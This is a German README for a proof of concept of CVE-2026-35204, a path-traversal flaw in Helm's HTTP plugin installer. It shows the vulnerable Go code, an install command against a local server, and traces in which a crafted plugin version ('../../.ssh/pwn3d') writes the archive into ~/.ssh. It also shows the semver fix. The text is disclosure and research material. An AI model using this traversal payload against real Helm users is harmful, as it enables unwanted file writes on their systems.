
CVE-2026-35204 PoC
Dieses Repository stellt einen PoC für CVE-2026-35204 dar.
„Helm ist ein Paketmanager für Charts für Kubernetes. Von 4.0.0 to 4.1.3 führt ein speziell präpariertes Helm-Plugin, wenn es installiert oder aktualisiert wird, dazu, dass Helm den Inhalt des Plugins an einen beliebigen Speicherort im Dateisystem schreibt. Um dies zu verhindern, muss validiert werden, dass die plugin.yaml des Helm-Plugins kein Feld version: enthält, das POSIX-Dot-Dot-Pfadtrenner, d. h. "/../", enthält. Diese Schwachstelle ist in 4.1.4 behoben."
Dieser PoC zeigt, dass metadata.Version verwendet wird, um den Pfad des Plugin-Archivs zu konstruieren, was eine Path Traversal ermöglicht und das Schreiben der heruntergeladenen plugin.tgz außerhalb des vorgesehenen Plugin-Verzeichnisses erlaubt. Die Plugin-Inhalte werden vor der Installation weiterhin in das festgelegte Cache-Verzeichnis extrahiert, daher demonstriert dieser PoC weder eine beliebige Extraktion noch ein beliebiges Überschreiben von Host-Dateien.
Der Helm-Plugin-Installer verfügt über eine Schnittstelle mit vier Implementierungen (HTTP, lokal, VCS und OCI). Dieser PoC konzentriert sich auf den HTTP-Installer. Im Gegensatz zu den HTTP-/OCI-Installern konstruiert der VCS-Installer den Tarball-Pfad überhaupt nicht aus metadata.Version. Hier ist ein Codeblock, der den tarballPath vorbereitet:
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)
wobei metadata.Version die Variable ist, die wir in plugin.yaml kontrollieren. Um die Schwachstelle auszulösen, müssen Sie Ihr präpariertes Plugin als .tgz-Archiv verpacken, da dessen metadata.Version diejenige ist, die von plugin.ExtractTgzPluginMetadata extrahiert und über den HTTP-/OCI-/lokalen Installer heruntergeladen wird. Um also eine Path Traversal zu erreichen, können wir den http_installer verwenden, der Plugins als ein von einem Webserver bereitgestelltes Archiv abruft.
Im folgenden Beispiel wurde die Helm-Binary manuell neu erstellt, um Logmeldungen zu ermöglichen, wobei Sie zwei verschiedene Datenflüsse beobachten können. First ist die Plugin-Installation mit korrektem Versionsnamen. Second ist eine Plugin-Installation, die Dot-Dot-Pfadtrenner im Versionsnamen enthält:
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-2.2.2.tgz
tarballPath -> /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-../../../../../../.ssh/pwn3d.tgz
tarballPath -> /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
Die Laufzeit-Traces zeigen, dass die Path Traversal nur den Ort betrifft, an dem das heruntergeladene Plugin-Archiv abgelegt wird, also im Wesentlichen die Umgebungsvariable HELM_PLUGINS. Der Cache (i.CacheDir) und die endgültige Extraktion (i.Path()) bleiben unverändert. Vor diesem Hintergrund können wir das Ziel des temporären Archivs und dessen Namen manipulieren, was zu einem Datei-Schreibvorgang führt.
Sie müssen nichts ausführen oder Post-Install-Webhooks verwenden – eine einfache Plugin-Installation reicht aus, um die Schwachstelle auszulösen.
Bei meiner Analyse des HTTP-Installers habe ich beobachtet, dass die Archiv-Extraktion in i.CacheDir erfolgt, während die Installation (fs.CopyDir) Dateien von i.CacheDir nach i.Path() kopiert. Ich habe keinen Codepfad gefunden, in dem der durch die Traversal beeinflusste tarballPath den Archivinhalt beeinflusst. Daher ist das Ziel der Archiv-Extraktion – basierend auf den analysierten Laufzeit-Traces – unabhängig vom traversal-kontrollierten tarballPath.
Das Advisory erwähnt sowohl die Installation als auch die Aktualisierung. Für die HTTP-/lokalen/VCS-Installer ist Update() nicht implementiert; der OCI-Installer implementiert die Aktualisierung, indem er Install() aufruft, nachdem das vorherige Plugin entfernt wurde.
Hier ist die Update()-Methode des HTTP-Installers:
func (i *HTTPInstaller) Update() error {
return fmt.Errorf("method Update() not implemented for HttpInstaller")
}
Um die Schwachstelle zu entschärfen, wurde die Funktion isValidSemver hinzugefügt, die nun aufgerufen wird, wenn Validate() in metadata.go ausgeführt wird.
"github.com/Masterminds/semver/v3"
func isValidSemver(v string) bool {
_, err := semver.NewVersion(v)
return err == nil
}
if m.Version != "" && !isValidSemver(m.Version) {
errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}
Wie Sie sehen können, wird bei der Installation des bösartigen Helm-Plugins ein Fehler ausgegeben, wenn die Version kein gültiges Semver ist (und ../../../../ ist keins).
Um den PoC auszuführen, können Sie das Skript scripts/pos.sh verwenden:
./scripts/poc.sh
Das Ergebnis sieht dann etwa so aus:

MIT